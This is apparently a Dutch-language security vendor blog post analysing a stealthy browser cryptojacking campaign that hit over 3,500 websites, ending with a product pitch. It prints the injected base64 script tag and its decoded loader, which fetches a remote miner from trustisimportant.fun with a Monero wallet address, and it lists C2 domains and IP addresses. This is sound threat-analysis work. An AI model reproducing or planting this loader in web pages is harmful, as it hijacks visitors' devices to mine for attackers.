Skip to main content
Blog
Blog

CryptoJacking is dood: lang leve CryptoJacking

Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval.

Jul 17, 2025 5 min read
long-live-cryptojacking-on-black-and-blue-background

De opkomst en ondergang (en wederopkomst) van in-browser mining

Het was 2017 toen Coinhive zijn intrede deed en een Monero-miner rechtstreeks in websites inbedde. Gebruikers mijnden onbewust cryptocurrency tijdens het browsen, waardoor hun apparaten stille winstmachines werden voor website-eigenaren.

Even leek het een win-winsituatie: websites verdienden inkomsten zonder advertenties, en gebruikers hadden geen last van opdringerige pop-ups. Maar toen de hashrate van Coinhive opliep tot 12% van het totale netwerkvermogen van Monero, leidde de vertraging van apparaten en het leeglopen van batterijen tot publieke verontwaardiging.

In 2019 blokkeerden browsers zoals Chrome en Firefox browser-cryptojacking, en Coinhive sloot zijn deuren.

Cryptojacking leek dood te zijn.

Maar in cybersecurity is de dood zelden definitief…

Een mysterieuze neergang (en een storing in de matrix)

Bij cside volgden we cryptojacking-campagnes al jaren. Eind 2024 lieten onze dashboards een sterke daling in activiteit zien. Mining-payloads werden effectiever geblokkeerd, en aanvallers leken te zijn overgestapt op lucratievere terreinen zoals ransomware of het stelen van inloggegevens.

Toen, op een doordeweekse dinsdag, markeerde onze crawler iets vreemds: een JavaScript-bestand van derden, geladen vanaf https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.

De URL zelf was al een rode vlag — een willekeurige parameter, een zinloze nosaj=faster.mo-query. Maar wat de alarmbellen echt deed rinkelen, was het gedrag van het bestand:

  • Geen netwerkverzoeken (op het eerste gezicht).
  • Geen duidelijke CPU-pieken in sandbox-tests.
  • Toch markeerde onze AI het als kwaadaardig.

Dit was niet het luide, resource-slurpende cryptojacking van 2018. Dit was… stil.

Injectie op de website:

<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>

Base64 decodeert naar:

(function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)){ return; }
    js = d.createElement(s); js.id = id;
    js.onload = function(){
        EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
    };
    js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
    fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));

Trustisimportant[.]fun stuurt de gebruiker door naar yobox[.]store, vanwaar de kwaadaardige JS wordt gedownload.

De geest debuggen: een JS 101-tutorial

We laadden het script in een gecontroleerde omgeving om het te ontleden. Zo pakten we het aan:

Stap 1: Bouw een veilige debugging-sandbox

We wikkelten de JS in een eenvoudige HTML-pagina met een Content Security Policy (CSP) om debugging mogelijk te maken zonder browserblokkades te activeren:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
  <title>Debugging Karma</title>
</head>
<body>
  <script src="karma.js"></script> <!-- Het kwaadaardige bestand -->
</body>
</html>

De unsafe-eval-directive was cruciaal omdat het script eval-achtige obfuscatie gebruikte om zijn logica te verbergen.

Stap 2: Voeg debugging-traps in

We voegden debugger;-statements toe op sleutelpunten om de uitvoering te pauzeren in Chrome DevTools. Bijvoorbeeld:

function _0x6BE7() { // Een WebSocket-setupfunctie
  debugger; // <-- Uitvoering pauzeert hier
  if (ws != null) { ws.close(); }
  // ... rest van de code
}

Stap 3: Decodeer de obfuscatie

Het script was een doolhof van hernoemde variabelen (bijv. _0x6AC1, _0x6B23) en gecodeerde strings. Via het tabblad Sources in DevTools hebben we:

  1. 1.Breekpunten ingesteld om stap voor stap door de uitvoering te lopen.
  2. 2.Variabelen gevolgd om hun werkelijke doel te achterhalen (bijv. _0x6B85 controleerde of het apparaat mobiel was).
  3. 3.Netwerkactiviteit gevolgd via het tabblad Network, waarbij WebSocket-verbindingen naar wss://lokilokitwo[.]de:10006 aan het licht kwamen.

De belangrijkste ontdekking: een stille miner

Het script mijnde niet rechtstreeks cryptocurrency. In plaats daarvan:

  • Controleerde het op WebAssembly-ondersteuning (om het vermogen van het apparaat in te schatten).
  • Maakte het achtergrond-Web Workers aan (de worcy-array) om mining-taken uit te voeren zonder de hoofdthread te blokkeren.
  • Gebruikte het WebSockets om opdrachten van de C2-server te ontvangen en de mining-intensiteit aan te passen op basis van de mogelijkheden van het apparaat.

Dit was een stealth-miner, ontworpen om detectie te vermijden door onder de radar te blijven van zowel gebruikers als beveiligingstools.

Het grotere plaatje: 3.500+ geïnfecteerde sites

Verder onderzoek bracht een omvangrijke campagne aan het licht:

  • Meer dan 3.500 websites laadden de kwaadaardige karma[.]js.
  • Hergebruikte infrastructuur: Het domein trustisimportant[.]fun was gekoppeld aan zowel cryptojacking- als Magecart-campagnes (skimmen van creditcardgegevens). Aanvallers diversifieerden hun payloads.
  • Belangrijke IP-adressen: 89.58.14.251 en 104.21.80.1 fungeerden als command-and-control (C2)-servers.

Het motto van de campagne? "Blijf laag, mijn langzaam." Door het CPU-gebruik te beperken en verkeer te verbergen in WebSocket-streams, vermeed de campagne de typische kenmerken van traditioneel cryptojacking.

CryptoJacking-aanvallen 101: wat is cryptojacking en hoe werkt het vandaag de dag?

Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval:

  1. Dropper-scripts: Kwaadaardige JS-bestanden (zoals karma[.]js) worden in websites geïnjecteerd.
  2. Omgevingscontroles: Het script controleert op WebAssembly-ondersteuning, apparaattype (mobiel vs. desktop) en browserfuncties om het minen te optimaliseren.
  3. Worker-aanmaak: Web Workers worden aangemaakt om mining-taken op de achtergrond uit te voeren, waardoor prestatiewaarschuwingen worden vermeden.
  4. C2-communicatie: Via WebSockets of HTTPS-verzoeken worden mining-taken opgehaald en resultaten naar C2-servers gestuurd.

Het doel is niet om apparaten onmiddellijk leeg te trekken, maar om aanhoudend resources te onttrekken over een langere periode — als een digitale vampier.

Conclusie: het kat-en-muisspel gaat door

Cryptojacking is niet dood — het is gewoon slimmer geworden. Aanvallers geven nu de voorkeur aan stealth boven brute kracht bij het stelen van resources, en maken gebruik van obfuscatie, WebSockets en hergebruik van infrastructuur om verborgen te blijven.

Deze trend in client-side aanvallen neemt voortdurend toe.

De behoefte aan goede cryptojacking-preventie is er nu.

Himanshu Anand
Software Engineer Himanshu Anand

I'm a software engineer and security analyst.

Monitor en Beveilig Je Third-Party Scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside dashboard interface met script monitoring en beveiligingsanalytics
Related Articles
Boek een demo